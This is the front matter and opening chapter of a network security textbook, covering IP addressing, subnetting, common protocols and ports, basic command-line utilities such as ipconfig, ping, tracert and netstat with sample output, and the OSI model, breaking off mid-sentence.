This book provides a blend of theoretical foundations and practical applications. Each chapter ends with multiple choice questions and exercises, and most chapters also have projects. Students who successfully complete this textbook, including the end of chapter material, should have a solid understanding of network security. Throughout the book the student is directed to additional resources that can augment the material

presented in the chapter.

Audience

This book is designed primarily as a textbook for students who have a basic understanding of how networks operate, including basic terminology, protocols, and devices. Students do not need to have an extensive math background or more than introductory computer courses.

Overview of the Book

This book will walk you through the intricacies of defending your network against attacks. It begins with a brief introduction to the field of network security in Chapter 1, “Introduction to Network Security.” Chapter 2, “Types of Attacks,” explains the threats to a network—including denial of service attacks, buffer overflow attacks, and viruses.

Chapter 3, “Fundamentals of Firewalls,” Chapter 4, “Firewall Practical Applications,” Chapter 5, “Intrusion-Detection Systems,” and Chapter 7, “Virtual Private Networks,” give details on various security technologies including firewalls, intrusion-detection systems, and VPNs. These items are the core of any network’s security, so a significant portion of this book is devoted

to ensuring the reader fully understands both the concepts behind them and the practical applications. In every case, practical direction for selecting appropriate technology for a given network is included.

Chapter 6, “Encryption Fundamentals,” provides a solid introduction to encryption. This topic is critical because ultimately computer systems are simply devices for storing, transmitting, and manipulating data. No matter how secure the network is, if the data it transmits is not secure then there is a significant danger.

Chapter 8, “Operating System Hardening,” teaches operating system hardening. Chapter 9, “Defending Against Virus Attacks,” and Chapter 10, “Defending Against Trojan Horses, Spyware, and Adware,” give the reader specific defense strategies and techniques to guard against the most common network dangers. Chapter 11, “Security Policies,” gives readers an introduction to security policies.

Chapter 12, “Assessing System Security,” teaches the reader how to do an assessment of a network’s security. This includes guidelines for examining policies as well as an overview of network assessment tools. Chapter 13, “Security Standards,” gives an overview of common security standards such as the *Orange Book* and the Common Criteria. This chapter also discusses various security models such as Bell-LaPadula. Chapter 14,

“Physical Security and Disaster Recovery,” examines the often-overlooked topic of physical security as well as disaster recovery, which is a key part of network security.

Chapter 15, “Techniques Used by Attackers,” provides the tools necessary to “know your enemy,” by examining basic hacking techniques and tools as well as strategies for mitigating hacker attacks. Chapter 16, “Introduction to Forensics,” helps you understand basic forensics principles in order to properly prepare for investigation if you or your company become the victim of a computer crime. Chapter 17, “Cyber Terrorism,” discusses computer-based espionage and terrorism, two topics of growing concern for the computer security community but often overlooked in textbooks.

About the Author

Chuck Easttom is a computer scientist, author, and inventor. He has authored 25 other books on programming, Web development, security, and Linux. He has also authored dozens of research papers on a wide range of computer science and cyber security topics. He is an inventor with 13 computer science patents. Chuck holds more than 40 different industry certifications. He also is a frequent presenter/speaker at computer and cyber security conferences such as Defcon, ISC2 Security Congress, Secure World, IEEE workshops, and more.

You can reach Chuck at his website (www.chuckeasttom.com) or by e-mail at chuck@chuckeasttom.com.

Dedication

This book is dedicated to all the people working in the computer security field, diligently working to make computer networks safer.

Acknowledgments

While only one name goes on the cover of this book, it is hardly the work of just one person. I would like to take this opportunity to thank a few of the people involved. First of all, the editing staff at Pearson worked extremely hard on this book. Without them this project would simply not be possible. I would also like to thank my wife, Teresa, for all her support while working on this book. She is always very supportive in all my endeavors, a one-woman support team!

About the Technical Reviewers

Akhil Behl, CCIE No. 19564, is a passionate IT executive with key focus on cloud and security. He has more than 15 years of experience in the IT industry working in several leadership, advisory, consultancy, and business development profiles with various organizations. His technology and business specialization includes cloud, security, infrastructure, data center, and business communication technologies.

Akhil has authored multiple titles on security and business communication technologies. He has contributed as technical editor for a number of books on network and information security. He has published several research papers in national and international journals, including IEEE *Xplore*, and presented at various IEEE conferences, as well as other prominent ICT, security, and telecom events.

Akhil also holds CCSK, CHFI, PMP, ITIL, VCP, TOGAF, CEH, ISM, and several other industry certifications. He has bachelor's in technology degree and an MBA.

Steve Kalman is both an attorney and a professional security expert. He holds the following credentials from (ISC)2 for whom he worked as an authorized instructor:

CISSP, CCFP-US, CSSLP, ISSMP, ISSAP, HCISPP, SSCP.
Steve has been author or technical editor for more than
20 Pearson/Cisco Press books.

We Want to Hear from You!

As the reader of this book, *you* are our most important critic and commentator. We value your opinion and want to know what we're doing right, what we could do better, what areas you'd like to see us publish in, and any other words of wisdom you're willing to pass our way.

We welcome your comments. You can email or write to let us know what you did or didn't like about this book—as well as what we can do to make our books better.

Please note that we cannot help you with technical problems related to the topic of this book.

When you write, please be sure to include this book's title and author as well as your name and email address. We will carefully review your comments and share them with the author and editors who worked on the book.

Email: feedback@pearsonitcertification.com

Mail: Pearson IT Certification

ATTN: Reader Feedback

800 East 96th Street

Indianapolis, IN 46240 USA

Reader Services

Register your copy of *Network Defense and Countermeasures* at www.pearsonitcertification.com for convenient access to downloads, updates, and corrections as they become available. To start the registration process, go to www.pearsonitcertification.com/register and log in or create an account*. Enter the product ISBN 9780789759962 and click Submit. When the process is complete, you will find any available bonus content under Registered Products.

*Be sure to check the box that you would like to hear from us to receive exclusive discounts on future editions of this product.

Chapter 1

Introduction to Network Security

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Identify the most common dangers to networks.
- Understand basic networking.
- Employ basic security terminology.
- Find the best approach to network security for your organization.
- Evaluate the legal issues that will affect your work as a network administrator.
- Use resources available for network security.

INTRODUCTION

Finding a week without some major security breach in the news is difficult. University web servers hacked, government computers hacked, banks' data compromised, health information exposed—the list goes on. It also seems as if each year brings more focus to this issue. Finding anyone in any industrialized nation who had not heard of things such as websites being hacked and identities stolen would be difficult.

More venues for training also exist now. Many universities offer Information Assurance degrees from the bachelor's level up through the doctoral level. A plethora of industry certification training programs are available, including the CISSP, EC Council's CEH, Mile2 Security, SANS, and CompTIA's Security+. There are also now a number of universities offering degrees in cyber security, including distance learning degrees.

Despite this attention from the media and the opportunities to acquire security training, far too many computer professionals—including a surprising number of network administrators—do not have a clear understanding of the type of threats to which network systems are exposed, or which ones are most likely to actually occur. Mainstream media focuses attention on the most dramatic computer security breaches rather

than giving an accurate picture of the most plausible threat scenarios.

This chapter looks at the threats posed to networks, defines basic security terminology, and lays the foundation for concepts covered in the chapters that follow. The steps required to ensure the integrity and security of your network are methodical and, for the most part, already outlined. By the time you complete this book, you will be able to identify the most common attacks, explain how they are perpetrated in order to prevent them, and understand how to secure your data transmissions.

THE BASICS OF A NETWORK

Before diving into how to protect your network, exploring what networks are would probably be a good idea. For many readers this section will be a review, but for some it might be new material. Whether this is a review for you, or new information, having a thorough understanding of basic networking before attempting to study network security is critical. Also, be aware this is just a brief introduction to basic networking concepts. Many more details are not explored in this section.

A network is simply a way for machines/computers to

communicate. At the physical level, it consists of all the machines you want to connect and the devices you use to connect them. Individual machines are connected either with a physical connection (a category 5 cable going into a network interface card, or NIC) or wirelessly. To connect multiple machines together, each machine must connect to a hub or switch, and then those hubs/switches must connect together. In larger networks, each subnetwork is connected to the others by a router. We look at many attacks in this book (including several in Chapter 2, “Types of Attacks”) that focus on the devices that connect machines together on a network (that is, routers, hubs, and switches). If you find this chapter is not enough, this resource might assist you:

<http://compnetworking.about.com/od/basicnetworkingconcepts/Networki>

Basic Network Structure

Some connection point(s) must exist between your network and the outside world. A barrier is set up between that network and the Internet, usually in the form of a firewall. Many attacks discussed in this book work to overcome the firewall and get into the network.

The real essence of networks is communication—allowing one machine to communicate with another.

However, every avenue of communication is also an avenue of attack. The first step in understanding how to defend a network is having a detailed understanding of how computers communicate over a network.

The previously mentioned network interface cards, switches, routers, hubs, and firewalls are the fundamental physical pieces of a network. The way they are connected and the format they use for communication is the network architecture.

Data Packets

After you have established a connection with the network (whether it is physical or wireless), you need to send data. The first part is to identify where you want to send it. We will start off discussing IP version 4 addresses; we will look at IPv6 a bit later in this chapter. All computers (as well as routers) have an IP address that is a series of four numbers between 0 and 255 and separated by periods, such as 192.0.0.5 (note that this is an IPv4 address). The second part is to format the data for transmission. All data is ultimately in binary form (1s and 0s). This binary data is put into packets, all less than about 65,000 bytes. The first few bytes are the header. That header tells where the packet is going, where it came from, and how many more packets are coming as part of this transmission. There is actually more than one header, but for now, we will just discuss the header as a single entity. Some attacks that we will study (IP spoofing, for example) try to change the header of packets to give false information. Other methods of attack simply try to intercept packets and read the content (thus compromising the data).

A packet can have multiple headers. In fact, most packets will have at least three headers. The IP header has information such as IP addresses for the source and

destination, as well as what protocol the packet is. The TCP header has information such as port number. The Ethernet header has information such as the MAC address for the source and destination. If a packet is encrypted with Transport Layer Security (TLS), it will also have a TLS header.

IP Addresses

The first major issue to understand is how to get packets to their proper destination. Even a small network has many computers that could potentially be the final destination of any packet sent. The Internet has millions of computers spread out across the globe. How do you ensure that a packet gets to its proper destination? The problem is not unlike addressing a letter and ensuring it gets to the correct destination. Let's begin by looking at IP version 4 addressing because it is the most common in use today, but this section also briefly discusses IP version 6.

An IP version 4 address is a series of four three-digit numbers separated by periods. (An example is 107.22.98.198.) Each of the three-digit numbers must be between 0 and 255. You can see that an address of 107.22.98.466 would not be a valid one. The reason for this rule is that these addresses are actually four binary

numbers: The computer simply displays them to you in decimal format. Recall that 1 byte is 8 bits (1s and 0s), and an 8-bit binary number converted to decimal format will be between 0 and 255. The total of 32 bits means that approximately 4.2 billion possible IP version 4 addresses exist.

The IP address of a computer tells you a lot about that computer. The first byte (or the first decimal number) in an address tells you to what class of network that machine belongs. Table 1-1 summarizes the five network classes.

TABLE 1-1 Network Classes

Class	IP Range for the First Byte	Use
A	0–126	Extremely large networks. No Class A network IP addresses are left. All have been used.
B	128–191	Large corporate and government networks. All Class B IP addresses have been used.
C	192–223	The most common group of IP addresses. Your ISP probably has a Class C address.

D	224–247	These are reserved for multicasting (transmitting different data on the same channel).
E	248–255	Reserved for experimental use.

These five classes of networks will become more important later in this book (or should you decide to study networking on a deeper level). Observe Table 1-1 carefully, and you probably will discover that the IP range of 127 was not listed. This omission is because that range is reserved for testing. The IP address of 127.0.0.1 designates the machine you are on, regardless of that machine's assigned IP address. This address is often referred to as the *loopback address*. That address will be used often in testing your machine and your NIC. We will examine its use a bit later in this chapter in the section on network utilities.

These particular classes are important as they tell you what part of the address represents the network and what part represents the node. For example, in a Class A address, the first octet represents the network, and the remaining three represent the node. In a Class B address, the first two octets represent the network, and the second two represent the node. And finally, in a Class C address, the first three octets represent the network, and the last represents the node.

There are also some very specific IP addresses and IP address ranges you should be aware of. The first, as previously mentioned, is 127.0.0.1, or the loopback address. It is another way of referring to the network interface card of the machine you are on.

Private IP addresses are another issue to be aware of. Certain ranges of IP addresses have been designated for use within networks. These cannot be used as public IP addresses but can be used for internal workstations and servers. Those IP addresses are

- 10.0.0.10 to 10.255.255.255
- 172.16.0.0 to 172.31.255.255
- 192.168.0.0 to 192.168.255.255

Sometimes people new to networking have some trouble understanding public and private IP addresses. A good analogy is an office building. Within a single office building, each office number must be unique. You can only have one 305. And within that building, if you discuss office 305 it is immediately clear what you are talking about. But there are other office buildings, many of which have their own office 305. You can think of private IP addresses as office numbers. They must be unique within their network, but there may be other networks with the same private IP.

Public IP addresses are more like traditional mailing addresses. Those must be unique worldwide. When communicating from office to office you can use the office number, but to get a letter to another building you have to use the complete mailing address. It is much the same with networking. You can communicate within your network using private IP addresses, but to communicate with any computer outside your network, you have to use public IP addresses.

One of the roles of a gateway router is to perform what is called network address translation (NAT). Using NAT, a router takes the private IP address on outgoing packets and replaces it with the public IP address of the gateway router so that the packet can be routed through the Internet.

We have already discussed IP version 4 network addresses; now let's turn our attention to subnetting. If you are already familiar with this topic, feel free to skip this section. For some reason this topic tends to give networking students a great deal of trouble. So we will begin with a conceptual understanding. *Subnetting* is simply chopping up a network into smaller portions. For example, if you have a network using the IP address 192.168.1.X (X being whatever the address is for the specific computer), then you have allocated 255 possible IP addresses. What if you want to divide that into two

separate subnetworks? Subnetting is how you do that.

More technically, the subnet mask is a 32-bit number that is assigned to each host to divide the 32-bit binary IP address into network and node portions. You also cannot just put in any number you want. The first value of a subnet mask must be 255; the remaining three values can be 255, 254, 252, 248, 240, 224, or 128. Your computer will take your network IP address and the subnet mask and use a binary AND operation to combine them.

It may surprise you to know that you already have a subnet mask even if you have not been subnetting. If you have a Class C IP address, then your network subnet mask is 255.255.255.0. If you have a Class B IP address, then your subnet mask is 255.255.0.0. And finally, if it is Class A, your subnet mask is 255.0.0.0.

Now think about these numbers in relationship to binary numbers. The decimal value 255 converts to 11111111 in binary. So you are literally “masking” the portion of the network address that is used to define the network, and the remaining portion is used to define individual nodes. Now if you want fewer than 255 nodes in your subnet, then you need something like 255.255.255.240 for your subnet. If you convert 240 to binary, it is 11110000. That means the first three octets and the first 4 bits of the last octet define the network.

The last 4 bits of the last octet define the node. That means you could have as many as 1111 (in binary) or 15 (in decimal) nodes on this subnetwork. This is the basic essence of subnetting.

Subnetting only allows you to use certain, limited subnets. Another approach is CIDR, or classless interdomain routing. Rather than define a subnet mask, you have the IP address followed by a slash and a number. That number can be any number between 0 and 32, which results in IP addresses like these:

192.168.1.10/24 (basically a Class C IP address)

192.168.1.10/31 (much like a Class C IP address with a subnet mask)

When you use this, rather than having classes with subnets, you have variable-length subnet masking (VLSM) that provides classless IP addresses. This is the most common way to define network IP addresses today.

You should not be concerned that new IP addresses are likely to run out soon. The IP version 6 standard is already available, and methods are in place already to extend the use of IPv4 addresses. The IP addresses come in two groups: public and private. The *public* IP addresses are for computers connected to the Internet. No two public IP addresses can be the same. However, a

private IP address, such as one on a private company network, has to be unique only in that network. It does not matter if other computers in the world have the same IP address, because this computer is never connected to those other worldwide computers. Network administrators often use private IP addresses that begin with a 10, such as 10.102.230.17. The other private IP addresses are 172.16.0.0–172.31.255.255 and 192.168.0.0–192.168.255.255.

Also note that an ISP often will buy a pool of public IP addresses and assign them to you when you log on. So, an ISP might own 1,000 public IP addresses and have 10,000 customers. Because all 10,000 customers will not be online at the same time, the ISP simply assigns an IP address to a customer when he or she logs on, and the ISP un-assigns the IP address when the customer logs off.

IPv6 utilizes a 128-bit address (instead of 32) and utilizes a hex numbering method in order to avoid long addresses such as 132.64.34.26.64.156.143.57.1.3.7.44.122.111.201.5. The hex address format appears in the form of 3FFE:Boo:800:2::C, for example. This gives you 2^{128} possible addresses (many trillions of addresses), so no chance exists of running out of IP addresses in the foreseeable future.

There is no subnetting in IPv6. Instead, it only uses CIDR. The network portion is indicated by a slash followed by the number of bits in the address that are assigned to the network portion, such as

/48

/64

There is a loopback address for IPv6, and it can be written as ::1. Other differences between IPv4 and IPv6 are described here:

- Link/machine-local.

- IPv6 version of IPv4's APIPA or Automatic Private IP Addressing. So if the machine is configured for dynamically assigned addresses and cannot communicate with a DHCP server, it assigns itself a generic IP address. DHCP, or Dynamic Host Configuration Protocol, is used to dynamically assign IP addresses within a network.

- IPv6 link/machine-local IP addresses all start with fe80::. So if your computer has this address, that means it could not get to a DHCP server and therefore made up its own generic IP address.

- Site/network-local.

- IPv6 version of IPv4 private address. In other words, these are real IP addresses, but they only work on this local network. They are not routable on the Internet.
- All site/network-local IP addresses begin with FE and have C to F for the third hexadecimal digit: FEC, FED, FEE, or FEF.
- DHCPv6 uses the Managed Address Configuration Flag (M flag).
 - When set to 1, the device should use DHCPv6 to obtain a stateful IPv6 address.
- Other stateful configuration flag (O flag).
 - When set to 1, the device should use DHCPv6 to obtain other TCP/IP configuration settings. In other words, it should use the DHCP server to set things like the IP address of the gateway and DNS servers.

Uniform Resource Locators

For most people, the main purpose for getting on the Internet is web pages (but there are other things such as e-mail and file downloading). If you had to remember IP addresses and type those in, then surfing the Net would be cumbersome at best. Fortunately, you don't have to. You type in domain

names that make sense to humans and those get translated into IP addresses. For example, you might type in www.chuckeasttom.com to go to my website. Your computer, or your ISP, must translate the name you typed in (called a *Uniform Resource Locator*, or URL) into an IP address. The DNS (Domain Name Service) protocol, which is introduced along with other protocols a bit later in Table 1-2, handles this translation process. So you are typing in a name that makes sense to humans, but your computer is using a corresponding IP address to connect. If that address is found, your browser sends a packet (using the HTTP protocol) to TCP port 80. If that target computer has software that listens and responds to such requests (like web-server software such as Apache or Microsoft Internet Information Services), then the target computer will respond to your browser's request and communication will be established. This method is how web pages are viewed. If you have ever received an Error 404: File Not Found, what you're seeing is that your browser received back a packet (from the web server) with error code 404, denoting that the web page you requested could not be found. The web server can send back a series of error messages to your web browser, indicating different situations.

E-mail works the same way as visiting websites. Your e-mail client will seek out the address of your e-mail

server. Then your e-mail client will use either POP3 to retrieve your incoming e-mail, or SMTP to send your outgoing e-mail. Your e-mail server (probably at your ISP or your company) will then try to resolve the address you are sending to. If you send something to chuckeasttom@yahoo.com, your e-mail server will translate that e-mail address into an IP address for the e-mail server at yahoo.com, and then your server will send your e-mail there. Note that newer e-mail protocols are out there; however, POP3 is still the most commonly used.

IMAP is now widely used as well. Internet Message Access Protocol operates on port 143. The main advantage of IMAP over POP3 is it allows the client to download only the headers to the machine, and then the user can choose which messages to fully download. This is particularly useful for smart phones.

MAC Addresses

MAC addresses are an interesting topic. (You might notice that MAC is also a sublayer of the data link layer of the OSI model.) A MAC address is a unique address for an NIC. Every NIC in the world has a unique address that is represented by a six-byte hexadecimal number. The Address Resolution Protocol (ARP) is used to convert IP addresses to MAC addresses. So, when you type in a web address, the DNS protocol is used to translate that into an IP address. The ARP protocol then translates that IP address into a specific MAC address of an individual NIC.

Protocols

Different types of communications exist for different purposes. The different types of network communications are called *protocols*. A protocol is, essentially, an agreed-upon method of communications. In fact, this definition is exactly how the word *protocol* is used in standard, non-computer usage. Each protocol has a specific purpose and normally operates on a certain port (more on ports in a bit). Table 1-2 lists some of the most important protocols.

TABLE 1-2 Logical Ports and Protocols

Protocol	Purpose	Port
FTP (File Transfer Protocol)	For transferring files between computers.	20 & 21
SSH	Secure Shell. A secure/encrypted way to transfer files.	22
Telnet	Used to remotely log on to a system. You can then use a command prompt or shell to execute commands on that system. Popular with network administrators.	23
SMTP (Simple Mail Transfer Protocol)	Sends e-mail.	25
WhoIS	A command that queries a target IP address for information.	43
DNS (Domain Name Service)	Translates URLs into web addresses.	53
tFTP (Trivial	A quicker, but less reliable form of FTP.	69

File Transfer Protocol)		
HTTP (Hypertext Transfer Protocol)	Displays web pages.	80
POP3 (Post Office Protocol Version 3)	Retrieves e-mail.	110
NNTP (Network News Transfer Protocol)	Used for network news groups (Usenet newsgroups). You can access these groups over the web via www.google.com .	119
NetBIOS	An older Microsoft protocol for naming systems on a local network.	137, 138, 139
IRC (Internet Relay Chat)	Chat rooms.	194
HTTPS (Hypertext Transfer Protocol)	HTTP encrypted with SSL or TLS.	443

Secure)		
SMB (Server Message Block)	Used by Microsoft Active Directory.	445
ICMP (Internet Control Message Protocol)	These are simply packets that contain error messages, informational messages, and control messages.	No specific port

You should note that this list is not complete. Hundreds of other protocols exist, but for now discussing these will suffice. All of these protocols are part of a suite of protocols referred to as TCP/IP (Transmission Control Protocol/Internet Protocol). The most important thing for you to realize is that the communication on networks takes place via packets, and those packets are transmitted according to certain protocols, depending on the type of communication that is occurring. You might be wondering what a port is. Don't confuse this type of port with the connections on the back of your computer, such as a serial port or parallel port. A port in networking terms is a handle, a connection point. It is a numeric designation for a particular pathway of communications. All network communication, regardless of the port used, comes into your computer

via the connection on your NIC. You might think of a port as a channel on your TV. You probably have one cable coming into your TV but you can view many channels. You have one cable coming into your computer, but you can communicate on many different ports.

So the picture we've drawn so far of networks is one of machines connected to each other via cables, and perhaps to hubs/switches/routers. Networks transmit binary information in packets using certain protocols and ports. This is an accurate picture of network communications, albeit a simple one.

BASIC NETWORK UTILITIES

Now that you know what IP addresses and URLs are, you need to be familiar with some basic network utilities. You can execute some network utilities from a command prompt (Windows) or from a shell (Unix/Linux). Many readers are already familiar with Windows, so the text's discussion will focus on how to execute the commands and discuss them from the Windows command-prompt perspective. However, it must be stressed that these utilities are available in all operating systems. This section covers the essential or common utilities.

ipconfig

The first thing you want to do is get information about your own system. To accomplish this fact-finding mission, you must get a command prompt. In Windows, you do this by going to the Start menu, selecting All Programs, and then choosing Accessories. You can also go to Start, Run, and type **cmd** to get a command prompt. In Windows 10 you go to Search and type **cmd**. Now you can type in **ipconfig**. (You could input the same command in Unix or Linux by typing in **ifconfig** from the shell.) After typing in **ipconfig** (**ifconfig** in Linux), you should see something much like Figure 1-1.

```
Administrator: C:\Windows\system32\cmd.exe
C:\Users\chuck>ipconfig

Windows IP Configuration

Wireless LAN adapter Wireless Network Connection 2:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : 
Wireless LAN adapter Wireless Network Connection:

    Connection-specific DNS Suffix  . : gateway.2wire.net
    Link-local IPv6 Address . . . . . : fe80::2dff:c9b4:92ca:9b43%11
    IPv4 Address. . . . . : 192.168.1.101
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.1.254

Ethernet adapter Local Area Connection:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : 
Ethernet adapter VirtualBox Host-Only Network:

    Connection-specific DNS Suffix  . : 
    Link-local IPv6 Address . . . . . : fe80::851e:deca:6578:af54%49
    IPv4 Address. . . . . : 192.168.56.1
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 

Tunnel adapter isatap.gateway.2wire.net:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : 
Tunnel adapter Reusable ISATAP Interface {15831C80-8547-4DBC-A5E7-160479674F9B}:

    Media State . . . . . : Media disconnected
```

FIGURE 1-1 ipconfig

This command gives you some information about your connection to a network (or to the Internet). Most importantly you find out your own IP address. The command also has the IP address for your default gateway, which is your connection to the outside world. Running the `ipconfig` command is a first step in determining your system's network configuration. Most commands this text mentions, including `ipconfig`,

have a number of parameters, or flags, that can be passed to the commands to make the computer behave in a certain way. You can find out what these commands are by typing in the command, followed by a space, and then typing in hyphen question mark: `-?`.

As you can see, you might use a number of options to find out different details about your computer's configuration. The most commonly used method would probably be `ipconfig/all`, shown in Figure 1-2.

```

C:\Users\Administrator>ipconfig /all

Windows IP Configuration

Host Name . . . . . : WIN-7EP9LVQV307
Primary Dns Suffix . . . . . :
Node Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No

Ethernet adapter Npcap Loopback Adapter:

Connection-specific DNS Suffix . :
Description . . . . . : Npcap Loopback Adapter
Physical Address. . . . . : 02-00-4C-4F-4F-50
DHCP Enabled. . . . . : Yes
Autoconfiguration Enabled . . . : Yes
Link-local IPv6 Address . . . . : fe80::31ee:7155:63bb:c7b8%22(Preferred)
Autoconfiguration IPv4 Address. . : 169.254.199.184(Preferred)
Subnet Mask . . . . . : 255.255.0.0
Default Gateway . . . . . :
DHCPv6 IAID . . . . . : 537002060
DHCPv6 Client DUID. . . . . : 00-01-00-01-1E-79-79-5A-B0-83-FE-B8-83-84
DNS Servers . . . . . : fec0:0:0:ffff::1%1
                       : fec0:0:0:ffff::2%1
                       : fec0:0:0:ffff::3%1
NetBIOS over Tcpip. . . . . : Enabled

Ethernet adapter Ethernet 2:

Media State . . . . . : Media disconnected
Connection-specific DNS Suffix . : fios-router.home
Description . . . . . : Realtek PCIe GBE Family Controller #2
Physical Address. . . . . : 00-14-D1-FA-37-99
DHCP Enabled. . . . . : Yes
Autoconfiguration Enabled . . . : Yes

Ethernet adapter Ethernet:

Connection-specific DNS Suffix . :
Description . . . . . : Realtek PCIe GBE Family Controller
Physical Address. . . . . : B0-83-FE-B8-83-84
DHCP Enabled. . . . . : Yes
Autoconfiguration Enabled . . . : Yes
IPv6 Address. . . . . : 2605:6001:e7c2:bef0:f9e9:3ea0:2ee7:5ad8(Prefe
Link-local IPv6 Address . . . . : fe80::f9e9:3ea0:2ee7:5ad8%12(Preferred)
IPv4 Address. . . . . : 192.168.1.104(Preferred)
Subnet Mask . . . . . : 255.255.255.0
Lease Obtained. . . . . : Friday, December 8, 2017 4:04:12 PM


```

FIGURE 1-2 ipconfig/all

You can see that this option gives you much more information. For example, `ipconfig/all` gives the name of your computer, when your computer obtained its IP address, and more.

ping

Another commonly used command is `ping`. `ping` is used to send a test packet, or echo packet, to a machine to find out whether the machine is reachable and how long the packet takes to reach the machine. This useful diagnostic tool can be employed in elementary hacking techniques. [Figure 1-3](#) shows the command.



```

C:\>ping www.yahoo.com

Pinging www.yahoo.akadns.net [216.109.117.106] with 32 bytes of data:

Reply from 216.109.117.106: bytes=32 time=50ms TTL=47
Reply from 216.109.117.106: bytes=32 time=50ms TTL=47
Reply from 216.109.117.106: bytes=32 time=50ms TTL=47
Reply from 216.109.117.106: bytes=32 time=60ms TTL=47

Ping statistics for 216.109.117.106:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 50ms, Maximum = 60ms, Average = 52ms

C:\>
```


FIGURE 1-3 `ping`

This figure tells you that a 32-byte echo packet was sent to the destination and returned. The `ttl` means “time to live.” That time unit is how many intermediary steps, or hops, the packet should take to the destination before giving up. Remember that the Internet is a vast conglomerate of interconnected networks. Your packet probably won’t go straight to its destination. It will have to take several hops to get there. As with `ipconfig`, you

can type in **ping -?** to find out various ways you can refine your ping.

tracert

The next command we will examine in this chapter is `tracert`. This command is a sort of “ping deluxe.” `tracert` not only tells you whether the packet got there and how long it took, but it also tells you all the intermediate hops it took to get there. (This same command can be executed in Linux or Unix, but there it is called `traceroute` rather than `tracert`.) You can see this utility in [Figure 1-4](#).



```
C:\Windows\system32\cmd.exe - tracert www.yahoo.com
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\Chuck Eastton>tracert www.yahoo.com

Tracing route to ds-any-fp3-real.ua1.b.yahoo.com [72.30.38.140]
over a maximum of 30 hops:
  0  1 ms  1 ms  1 ms  router.VelikeCats [192.168.2.1]
  1  14 ms  2 ms  2 ms  Wireless_Broadband_Router.bone [192.168.1.1]
  2  16 ms  10 ms  8 ms  L100.DLSTX-QFTP-62.verizon-gni.net [96.226.241.1]
  3  13 ms  13 ms  13 ms  G0-9-0-0-DLSTX-LCR-21.verizon-gni.net [130.81.187.192]
  4  16 ms  14 ms  17 ms  so-5-0-0-0-DFW-BB-RTR1.verizon-gni.net [130.81.199.34]
  5  68 ms  157 ms  60 ms  ge-3-2-0-0-SJC01-BB-RTR1.verizon-gni.net [130.81.17.36]
  6  80 ms  54 ms  54 ms  so-6-0-0-0-SJC7-PEER-RTR2.verizon-gni.net [130.81.17.133]
  7  53 ms  51 ms  52 ms
```

FIGURE 1-4 `tracert`

With `tracert`, you can see (in milliseconds) the time the IP addresses of each intermediate step listed, and how long it took to get to that step. Knowing the steps

required to reach a destination can be very important. If you use Linux, it is `traceroute` rather than `tracert`.

`netstat`

`netstat` is another interesting command. It is an abbreviation for Network Status. Essentially, this command tells you what connections your computer currently has. Don't panic if you see several connections; that does not mean a hacker is in your computer. You will see many private IP addresses. This means your network has internal communication going on. You can see this in [Figure 1-5](#).

Certainly, other utilities can be of use to you when working with network communications. However, the four we just examined are the core utilities. These four (`ipconfig`, `ping`, `tracert`, and `netstat`) are absolutely essential to any network administrator, and you can commit them to memory.

```
C:\Users\Administrator>netstat
Active Connections
Proto Local Address           Foreign Address         State
TCP    127.0.0.1:1029           WIN-7EP9LVQV307:5354   ESTABLISHED
TCP    127.0.0.1:1030           WIN-7EP9LVQV307:5354   ESTABLISHED
TCP    127.0.0.1:1049           WIN-7EP9LVQV307:27015  ESTABLISHED
TCP    127.0.0.1:5354           WIN-7EP9LVQV307:1029   ESTABLISHED
TCP    127.0.0.1:5354           WIN-7EP9LVQV307:1030   ESTABLISHED
TCP    127.0.0.1:27015          WIN-7EP9LVQV307:1049   ESTABLISHED
TCP    127.0.0.1:27015          WIN-7EP9LVQV307:47028  FIN_WAIT_2
TCP    127.0.0.1:47028          WIN-7EP9LVQV307:27015  CLOSE_WAIT
TCP    127.0.0.1:55772          WIN-7EP9LVQV307:55773  ESTABLISHED
TCP    127.0.0.1:55773          WIN-7EP9LVQV307:55772  ESTABLISHED
TCP    127.0.0.1:55774          WIN-7EP9LVQV307:55775  ESTABLISHED
TCP    127.0.0.1:55775          WIN-7EP9LVQV307:55774  ESTABLISHED
TCP    127.0.0.1:55776          WIN-7EP9LVQV307:55777  ESTABLISHED
TCP    127.0.0.1:55777          WIN-7EP9LVQV307:55776  ESTABLISHED
TCP    192.168.1.104:1055       a23-79-28-114:http     ESTABLISHED
TCP    192.168.1.104:1229       a23-79-59-83:https     ESTABLISHED
```

FIGURE 1-5 netstat

THE OSI MODEL

The *Open Systems Interconnect (OSI)* model describes how networks communicate (see [Table 1-3](#)). It describes the various protocols and activities and tells how the protocols and activities relate to each other. This model is divided into seven layers. It was originally developed by the International Organization for Standardization (ISO) in the 1980s.

TABLE 1-3 The OSI Model

Layer	Description	Protocols

Application	This layer interfaces directly to applications and performs common application services for the application processes.	POP, SMTP, DNS, FTP, Telnet
Presentation	The presentation layer relieves the application layer of concern regarding syntactical differences in data representation within the end-user systems.	Telnet, Network Data Representation (NDR), Lightweight Presentation Protocol (LPP)
Session	The session layer provides the mechanism for managing the dialogue between end-user application processes.	NetBIOS
Transport	This layer provides end-to-end communication control.	TCP, UDP
Network	This layer routes the information in the network.	IP, ARP, ICMP
Data link	This layer describes the logical organization of data bits transmitted on a particular medium. The data link layer is divided into two sublayers: the Media Access Control layer (MAC) and the Logical Link Control layer (LLC).	SLIP, PPP

Physical	This layer describes the physical properties of the various communications media, as well as the electrical properties and interpretation of the exchanged signals. In other words, the physical layer is the actual NIC, Ethernet cable, and so forth.	IEEE 1394, DSL, ISDN

Many networking students memorize this model. At least memorizing the names of the seven layers and understanding basically what they each do is good. From a security perspective, the more you understand about network communications, the more sophisticated your defense can be. The most important thing for you to understand is that this model describes a hierarchy of communication. One layer communicates only with the layer directly above it or below it.

WHAT DOES THIS MEAN FOR SECURITY?

This book covers security from numerous angles, but ultimately only three venues exist for attack, and thus three venues for security (note this is not about attack vectors, of which there are many):

- **The data itself:** After data leaves your network, the packets are vulnerable for interception and even
